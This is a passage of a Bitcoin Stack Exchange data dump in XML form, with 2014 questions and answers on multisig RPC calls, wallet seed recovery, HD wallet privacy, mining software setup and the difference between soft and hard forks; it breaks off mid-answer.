  <row Id="30804" PostTypeId="1" AcceptedAnswerId="30816" CreationDate="2014-10-03T15:08:58.627" Score="3" ViewCount="710" Body="&lt;p&gt;I tried the following RPC call via the debug window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addmultisigaddress 2 '[&quot;0304a7aadeb1ae96482a10fa634825d86d80dbad8d43cd9177664eaf6f0ff7d890&quot;, &quot;022426f087fd017db9f29759efb9d7ff6101a075e46fb591466208a6a6beb321c7&quot;]'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3MGYcBNapbmYkvfj9CD4hBykzWxukEE61w&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a P2SH address, right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RPC call just gave the public keys, though, so my wallet won't actually be able to spend any funds sent to that address, correct? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why even have an RPC call here that let's the user make an address they won't be able to spend from? Is this method just a utility if the private keys aren't known, and the result won't be used in the actual wallet at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess just an explanation of 'addmultisigaddress' that is more descriptive than the help via the console would be helpful.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="5757" LastEditDate="2014-10-04T03:14:13.653" LastActivityDate="2014-10-04T03:28:37.560" Title="RPC addmultisigaddress call" Tags="|bitcoind|multi-signature|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30806" PostTypeId="2" ParentId="30727" CreationDate="2014-10-03T17:09:55.777" Score="3" Body="&lt;p&gt;It is possible with &lt;a href=&quot;https://github.com/ethereum/pyethsaletool/blob/master/pyethsaletool.py&quot; rel=&quot;nofollow&quot;&gt;pyethsaletool&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./pyethsaletool recover -w your-wallet.json -p password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case of password failure it will throw something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ValueError: String ending with 'X' can't be PCKS7-padded&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If password is valid, it will show your seed (long string of random characters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually &lt;code&gt;pyethsaletool&lt;/code&gt; uses supplied password to AES-decrypt &lt;code&gt;encseed&lt;/code&gt; field from the wallet. This seed is SHA3-hashed to get private key and ethereum address which is compared to the one from the wallet.&lt;/p&gt;&#xA;" OwnerUserId="5935" LastEditorUserId="5935" LastEditDate="2015-07-02T12:34:29.947" LastActivityDate="2015-07-02T12:34:29.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30807" PostTypeId="2" ParentId="23024" CreationDate="2014-10-03T19:51:59.833" Score="3" Body="&lt;p&gt;We've just released &lt;a href=&quot;https://github.com/coinspark/php-OP_RETURN&quot; rel=&quot;nofollow&quot;&gt;php-OP_RETURN&lt;/a&gt;, a simple PHP library for generating OP_RETURN transactions. Even if you're not using PHP you can hopefully follow the code to see what is required.&lt;/p&gt;&#xA;" OwnerUserId="19573" LastActivityDate="2014-10-03T19:51:59.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30808" PostTypeId="1" AcceptedAnswerId="31912" CreationDate="2014-10-03T20:00:53.153" Score="8" ViewCount="4681" Body="&lt;p&gt;HD wallets create a series of addresses, and then when one address has received an input it will give you a new address that hasn't received inputs yet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the idea of you sending yourself bitcoin from an exchange, and having different addresses all the time on the exchange, and different addresses in your wallets, then an observer wouldn't be able to track the sum of all your funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But isn't this all undermined when you move a large amount of bitcoin and the transaction combines bitcoin from all of the addresses in that wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is that part avoided while retaining the ability to realistically send funds quickly and conveniently? I understand that it is possible to form a transaction to only use a certain address for sending, but ultimately there is still a third party with one address that I want to send bitcoin to. So I will have to use several of my addresses to get the appropriate balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to completely undo my privacy. Not necessarily from blockchain analysis but by having records of a single address (such as from the exchange).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, lets say an exchange gave over the user names to a government. The government then looks at all the addresses that user sent bitcoin to from the exchange. Then they simply look in the blockchain for that address and look to see where it was used again to combine bitcoin with other addresses, as this reveals that one person had the private keys to all those addresses used. Privacy undermined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution? I can imagine a scenario where I could do one transaction at a time back to a different exchange, generating new addresses in my exchange wallet. Cumbersome. But for something like a bitpay payment, I don't see how this is practical, unless third parties also let me choose how many addresses they would generate for me.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="2306" LastEditDate="2015-04-22T18:19:18.630" LastActivityDate="2015-04-22T18:19:18.630" Title="HD wallets and address reuse" Tags="|address|privacy|address-generation|bip32-hd-wallets|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30809" PostTypeId="1" AcceptedAnswerId="30810" CreationDate="2014-10-03T20:09:40.207" Score="1" ViewCount="200" Body="&lt;p&gt;I don't understand why the prices have actually dropped these days so much. Some forums say that people are selling, so what? People are selling, and people are buying, the bitcoins don't disappear they just change hands. Then why does the price drop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And assuming this is the case, then theoretically speaking, what would it take for the price to drop lower than one dollar?&lt;/p&gt;&#xA;" OwnerUserId="19194" LastActivityDate="2016-07-05T01:20:58.073" Title="what would it take for the Bitcoin price to drop less than a dollar?" Tags="|exchange-rate|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30810" PostTypeId="2" ParentId="30809" CreationDate="2014-10-03T20:33:35.333" Score="6" Body="&lt;p&gt;This is all speculation in a very new technology. I'm not an expert in economics, but there are irrefutable facts that's some of the &quot;cultists&quot; will not entertain. There are, simply put, 2 types of Bitcoin advocates:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Those who see in binary; black and white, moon and doom - more often than not Bitcoin's &quot;success&quot; is solely judged in fiat conversion&lt;/li&gt;&#xA;&lt;li&gt;Those who are more pragmatic; the people who understand that MySpace gave way to Facebook&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The most dangerous attitude is the former, because there is no acknowledgement that Bitcoin, in its infancy, still has a long way to go. The Blockchain is the key technological advance here. It is already being adopted by companies like Blocktech Group for commodoties and smart contracts. That may involve building on top of the Bitcoin blockchain, or it may mean an entirely new Blockchain purpose built for a corporate interest. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As a thought experiment, imagine there was a base metal as scarce as gold but with the following properties:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;boring grey in colour&lt;/li&gt;&#xA;  &lt;li&gt;not a good conductor of electricity&lt;/li&gt;&#xA;  &lt;li&gt;not particularly strong, but not ductile or easily malleable either&lt;/li&gt;&#xA;  &lt;li&gt;not useful for any practical or ornamental purpose&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;And one special, magical property:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;can be transported over a communications channel&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;If you redact &quot;over a communications channel&quot; you end up with depleted&#xA;  uranium...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;-&lt;a href=&quot;https://bitcointalk.org/index.php?topic=583.10;wap2&quot;&gt;Satoshi Nakamoto&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with that in mind, realise that there is no certainty of a $10,000 BTC price in the future. Perhaps $400 is what BTC is worth? Perhaps $1100 was well and truly over its true? These questions can only be answered with time and with development. There's a very small team looking after the code while speculators search for answers about why they're not rich yet. Perhaps we need to add value to Bitcoin instead of expecting, like it's everyone's destiny, that BTC will go to the moon in price. Will it drop to $1; only if the Bitcoin P2P network dies. I think the best think anyone can take away from this is it is possible to separate &lt;em&gt;a&lt;/em&gt; Blockchain from Bitcoin. A long term outlook would serve everyone better than daily stresses over price volatility.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2014-10-03T20:41:23.900" LastActivityDate="2014-10-03T20:41:23.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30811" PostTypeId="2" ParentId="12886" CreationDate="2014-10-03T21:46:07.880" Score="3" Body="&lt;p&gt;Yes. If you compile the &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;bitcoin client&lt;/a&gt; using the following commands, it will not build the GUI components:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./autogen.sh&#xA;./configure --without-gui&#xA;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-10-03T21:46:07.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30812" PostTypeId="2" ParentId="13888" CreationDate="2014-10-03T23:23:23.713" Score="4" Body="&lt;h1&gt;Assessment&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I think you are slightly misunderstanding some things, but basically you are already on the right path.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Wallet&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I signed up for a bitcoin wallet (coinbase) where I am given an id.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to manage your wallet (send and receive Bitcoin, create new wallets etc.) on your local machine, that’s a must. On a side-note: in case you need something easier (meaning: with a GUI), you should take a look at &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;the multitude of desktop clients which bitcoin.org points to&lt;/a&gt;; for example: Bitcoin-QT.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Pool&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I joined a pool (Slush's Pool) where I verified my email and added my private? id from my wallet. They registered a first worker for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;login: myusername.worker1  &#xA;password: something given&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That’s perfect. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;3&quot;&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Miner&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;(my hardware doing maths), Xeon processor …&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, you didn’t mention any &lt;strong&gt;&lt;em&gt;mining software&lt;/em&gt;&lt;/strong&gt; yet – and that’s where you took the wrong turn. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Filling the gap with Mining Software&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now that you know that your “Miner” needs “Mining software” to be able to actually mine things like Bitcoin, let’s take a look at what you need to start your own mining efforts…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you’ve mentioned you’re using the Ubuntu operating system, you could simply dive into the Ubuntu Software Center to download and download one of the ready-build miners:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;h2&gt;cgminer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In case you prefer to create your own build from the sourcecode, check &lt;a href=&quot;https://github.com/ckolivas/cgminer&quot; rel=&quot;nofollow noreferrer&quot;&gt;the cgminer GitHub repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easier way is to install a ready-made build from the Software Center, or by entering the following commands in a terminal window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; apt-get update&#xA; sudo apt-get install cgminer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you simply install “cgminer” via the Ubuntu Software Center:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B17OG.jpg&quot; alt=&quot;Screenshot of “cgminer” in the Ubuntu Software Center&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h2&gt;bfgminer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In case you prefer to create your own build from the sourcecode, check &lt;a href=&quot;https://github.com/luke-jr/bfgminer&quot; rel=&quot;nofollow noreferrer&quot;&gt;the bfgminer GitHub repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easier way is to install a ready-made build by entering the following commands in a terminal window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; apt-get update&#xA; sudo apt-get install bfgminer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you simply install “bfgminer” via the Ubuntu Software Center:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/onMIi.jpg&quot; alt=&quot;Screenshot of “bfgminer” in the Ubuntu Software Center&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also create your own build from the sourcecode in case you prefer that. To do so, check &lt;a href=&quot;https://github.com/ckolivas/cgminer&quot; rel=&quot;nofollow noreferrer&quot;&gt;the bfgminer GitHub repository&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h2&gt;CPU Miners&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Personally, I would not recommend using CPU-only miners because they tend to be slower compared to the above mining software. The reason is simple: CPU miners ignore the potential advantage your GPU (graphic card) might offer. Having said that…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you prefer to create your own build from the sourcecode, check &lt;a href=&quot;https://github.com/pooler/cpuminer&quot; rel=&quot;nofollow noreferrer&quot;&gt;the cpuminer GitHub repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easier way is to install a ready-made build by entering the following commands in a terminal window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; apt-get update&#xA; sudo apt-get install cpuminer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you simply install “cpuminer” via the Ubuntu Software Center:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6UOxI.jpg&quot; alt=&quot;Screenshot of “cpuminer” in the Ubuntu Software Center&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An aside: This mining software project provided the sourcecode-base on which other projects like &lt;code&gt;bfgminer&lt;/code&gt; and &lt;code&gt;cgminer&lt;/code&gt; were build.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Running the Mining Software&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;All of the mining software that has been mentioned above comes with dedicated documentation that explains how to compile the software from sourcecode, how to use the compiled software, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to get you going, I will provide simple examples for both &lt;code&gt;cgminer&lt;/code&gt; and &lt;code&gt;bfgminer&lt;/code&gt;. I guess you already know how to open a terminal window to start software from a commandline. For the commandline-parameter data, I’m assuming &lt;code&gt;Slush's pool&lt;/code&gt; as you indicated in your question, as well as using your example login &lt;code&gt;myusername.worker1&lt;/code&gt; and the example password &lt;code&gt;mypassword&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;cgminer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer -o stratum+tcp://stratum.theminingsite.com:3333 -u theusername -p thepassword&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;bfgminer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bfgminer -o stratum+tcp://stratum.theminingsite.com:3333 -u theusername -p thepassword&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;cpuminer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cpuminer -o stratum+tcp://stratum.theminingsite.com:3333 -u theusername -p thepassword&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since most command-line parameters will strongly depend on your hardware, you’ll have to read the docs to see if you can tune things towards higher speeds. In case of doubt, &lt;code&gt;--help&lt;/code&gt; offers an initial heads-up on potential tuning options of the individual mining software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's it… as soon as you’ve got your mining software installed, up and running, you’ll be mining Bitcoin (or alike crypto-currency).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Good Luck – you'll need it&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Unless &lt;em&gt;“the Bitcoin fairy”&lt;/em&gt; treats you gently, mining Bitcoin using average computer hardware will produce more costs than profits. In the unlikely case you make “profit”, don’t expect hundreds of Bitcoins… rather think in a realistic range of a few Satochi. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, mining is an electricity-vampire. In other words: you can trust in the fact that mining will increase your energy bill. The chance to make profit will depend on a whole lot of luck, and the actual hashing speed you achieve with your mining rig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to get your hands dirty and make profit from mining, you’ll have to consider investing in &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow noreferrer&quot;&gt;dedicated hardware (ASICs and/or FPGAs)&lt;/a&gt; to achieve higher hashing speeds – which &lt;em&gt;can&lt;/em&gt; be rather inexpensive, depending on what hashing speeds you want/need/expect. One thing is for sure: the more hashing speed you trying to achieve, the more you'll find yourself buying more and/or better hardware – which will again will increase your energy bill proportionally. and only you can decide where you draw the fine line between “hobby” and “investment”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, the amount of cash you’ll have to pay for electricity will have the strongest negative impact on your mining efforts and your energy bill will ultimately dictate your break-even point.&lt;/p&gt;&#xA;" OwnerUserId="6218" LastEditorUserId="6218" LastEditDate="2014-10-12T03:53:12.817" LastActivityDate="2014-10-12T03:53:12.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30813" PostTypeId="2" ParentId="12520" CreationDate="2014-10-04T00:03:58.930" Score="-3" Body="&lt;p&gt;I would have to say substatiantly it will become the revenue of the future making money obselete. It will make everyone able to live a possibly better life if it is controled bitcoin mining then it will boost our economy not endanger it. Actually soon their might be a transition from money to bitcoin and the profit margrine will go up which means everyone on the planet will be rich wich is better for everyone.&lt;/p&gt;&#xA;" OwnerUserId="19574" LastActivityDate="2014-10-04T00:03:58.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30814" PostTypeId="2" ParentId="8408" CreationDate="2014-10-04T02:52:09.693" Score="1" Body="&lt;p&gt;nLocktime transactions that are not valid yet are not relayed and possibly even dropped. It's the responsibility of the sender and/or receiver to store the transactions until they are valid and then broadcast them.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-10-04T02:52:09.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30816" PostTypeId="2" ParentId="30804" CreationDate="2014-10-04T03:28:37.560" Score="3" Body="&lt;p&gt;You are correct in your understanding: the arguments to the RPC call are just public keys (or addresses, which are hashes of public keys), and if you don't hold all the corresponding private keys, you won't be able to spend coins sent to the resulting address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's far from useless.  The main application of multisig addresses is to require the approval of multiple people in order to spend them, rather like needing two signatures on a check.  In that case, it's desirable for no one person or computer to &lt;em&gt;ever&lt;/em&gt; be in possession of all the corresponding private keys  (because then anyone with sufficient access to that computer could spend the coins unilaterally).  Rather, when it's time to spend the coins, the key holders affix their signatures one by one, without ever sharing their private keys with one another.  So in fact, if &lt;code&gt;addmultisigaddress&lt;/code&gt; required all the private keys to be available, it would be nearly useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For further details on multisig addresses and how to use them, see the rather extensive answer by almel to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/6100/how-will-multisig-addresses-work&quot;&gt;How will multisig addresses work?&lt;/a&gt; And as with any open-source software, the ultimate documentation is the source code.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-10-04T03:28:37.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30817" PostTypeId="1" AcceptedAnswerId="30821" CreationDate="2014-10-04T08:20:36.443" Score="66" ViewCount="28255" Body="&lt;p&gt;When people talk about possible changes to how Bitcoin works they sometimes say a particular change can be implemented as a soft fork. What does that mean? How does this compare to a hard fork?&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="112" LastEditDate="2021-07-15T13:48:06.793" LastActivityDate="2021-07-15T13:48:06.793" Title="What is a soft fork? What is a hard fork? What are their differences?" Tags="|blockchain-fork|terminology|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30818" PostTypeId="5" CreationDate="2014-10-04T08:20:58.747" Score="0" Body="&lt;p&gt;Bitcoin Core is the reference implementation of Bitcoin. It is an open source project under active development with many contributors. The &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;source code&lt;/a&gt; is hosted on GitHub. This tag collects questions related to the source code of Bitcoin Core and various other projects being developed for Bitcoin Core, as well as questions about contributing to this code base.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2021-03-03T23:27:34.650" LastActivityDate="2021-03-03T23:27:34.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30819" PostTypeId="4" CreationDate="2014-10-04T08:20:58.747" Score="0" Body="Source code and development of Bitcoin Core, the reference implementation of Bitcoin." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2021-03-03T23:27:34.650" LastActivityDate="2021-03-03T23:27:34.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30820" PostTypeId="2" ParentId="30566" CreationDate="2014-10-04T08:55:03.773" Score="4" Body="&lt;p&gt;From the comments on the question, here is the one that Nick ODell created:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aCDDY.png&quot; alt=&quot;Bitcoin accepted&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And another with the accepted moved a bit to the right, I just created:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/j64De.png&quot; alt=&quot;Bitcoin accepted with accepted aligned to the right&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison, the original:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/m9uaE.png&quot; alt=&quot;original Bitcoin accepted here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-10-04T08:55:03.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30821" PostTypeId="2" ParentId="30817" CreationDate="2014-10-04T09:41:09.853" Score="66" Body="&lt;h2&gt;What is a Project Fork?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;http://en.wikipedia.org/wiki/Fork_%28software_development%29&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;fork&lt;/em&gt;&lt;/a&gt; in software development refers to the event of an independent project spinning off from a software project. Such forks sometimes occur in the opensource sphere, when there are irreconcilable plans/goals within a project's community, then &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_software_forks&quot; rel=&quot;noreferrer&quot;&gt;often leading to a split in the community and two distinct projects thereafter&lt;/a&gt;.  In practice this takes form in the sourcecode being copied and henceforth being developed in a different direction independently by the forkers. For example in this conventional sense of fork, Litecoin is a fork of Bitcoin: Litecoin started as a copy of Bitcoin's code-base, but developed into an independent project (although still closely related).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Softfork and Hardfork in Bitcoin terminology&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The terms &lt;em&gt;softfork&lt;/em&gt; and &lt;em&gt;hardfork&lt;/em&gt; in Bitcoin describe compatibility breaking changes in the Bitcoin protocol: Should the community be irreconcilably divided about such an issue, the old version and the new version of Bitcoin could emerge as distinct projects thereafter. While both versions of the Bitcoin protocol are in use, the differences in acceptance may cause a lasting blockchain-fork, i.e. two distinct longest chains which are both considered valid by part of the network.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Softforks are &lt;a href=&quot;https://en.wikipedia.org/wiki/Forward_compatibility&quot; rel=&quot;noreferrer&quot;&gt;forward compatible&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Softforks restrict block acceptance rules&lt;/strong&gt; in comparison to earlier versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/axBEr.png&quot; alt=&quot;New valid blocks are a subset of old valid blocks&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new rules allow a &lt;a href=&quot;http://en.wikipedia.org/wiki/Subset&quot; rel=&quot;noreferrer&quot;&gt;subset&lt;/a&gt; of the previous valid blocks, therefore  all blocks considered valid by the newer version are also valid in the old version. If at least 51% of the mining power shifts to the new version, the system self-corrects:&lt;br&gt;&#xA;Blocks created by old versions of Bitcoin Core that are invalid under the new paradigm might commence a short-term &quot;old-only blockchain-fork&quot;, but eventually, they would be overtaken by the chain fork created under the new paradigm, as the hashing power working on the old paradigm would be smaller (&quot;only old versions&quot;) than on the new paradigm (&quot;accepted by all versions&quot;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if less than 51% of the hashing power switches to the new version,  the blockchain-fork will not mend automatically as the chain created under the old rules has more hashing power and is incompatible to the new rules. This can either be remedied by the adopters of the softfork giving up their chain, or more hashing power switching to the softfork chain. The latter would cause the softfork chain to eventually overtake and reorganize the other chaintip.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Hardforks are not forward compatible&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v9Cme.png&quot; alt=&quot;Hardforks extend set of valid blocks&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hardforks ease block acceptance rules&lt;/strong&gt; making previously invalid blocks valid in the new version. Obviously, this is not forward compatible as older versions will not accept the new blocks, causing the users of the old paradigm to remain on their own blockchain-fork indefinitely. To implement a hardfork, without a blockchain-fork, all users must switch to the new protocol consensually.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;HF != blockchain-forks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Lately, I've seen &quot;hardfork&quot; being used interchangeably with &quot;chain split&quot;. They refer to different things. &lt;strong&gt;A chain split is the state of the network when mining is based on more than one chaintip at the same time.&lt;/strong&gt; This can happen for various reasons, including hardforks, softforks, buggy node software, and simply two miners discovering a block at the same height.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2017-07-18T20:13:32.467" LastActivityDate="2017-07-18T20:13:32.467" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="30822" PostTypeId="2" ParentId="10814" CreationDate="2014-10-04T12:07:01.967" Score="6" Body="&lt;p&gt;The best way to write a parser of your own for the blockchain is to find the source code of one that already exists and from that deduce the precise underlying data structure and how to parse and interpret it.  e.g. &lt;a href=&quot;https://code.google.com/p/blockchain/source/browse/trunk/BlockChain.h&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; in C++ and &lt;a href=&quot;https://github.com/mb300sd/Bitcoin-Tool/tree/master/Bitcoin%20Tool/Structs&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; in C# - and there are many others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data in the blockchain is stored in a &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;noreferrer&quot;&gt;custom binary format&lt;/a&gt; that is a little tricky to untangle without some help; &lt;a href=&quot;http://2.bp.blogspot.com/-DaJcdsyqQSs/UsiTXNHP-0I/AAAAAAAATC0/kiFRowh-J18/s1600/blockchain.png&quot; rel=&quot;noreferrer&quot;&gt;this link&lt;/a&gt; seems as good as any to get started on the overall structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many&quot;gotcha's&quot; to watch out for.  For example: 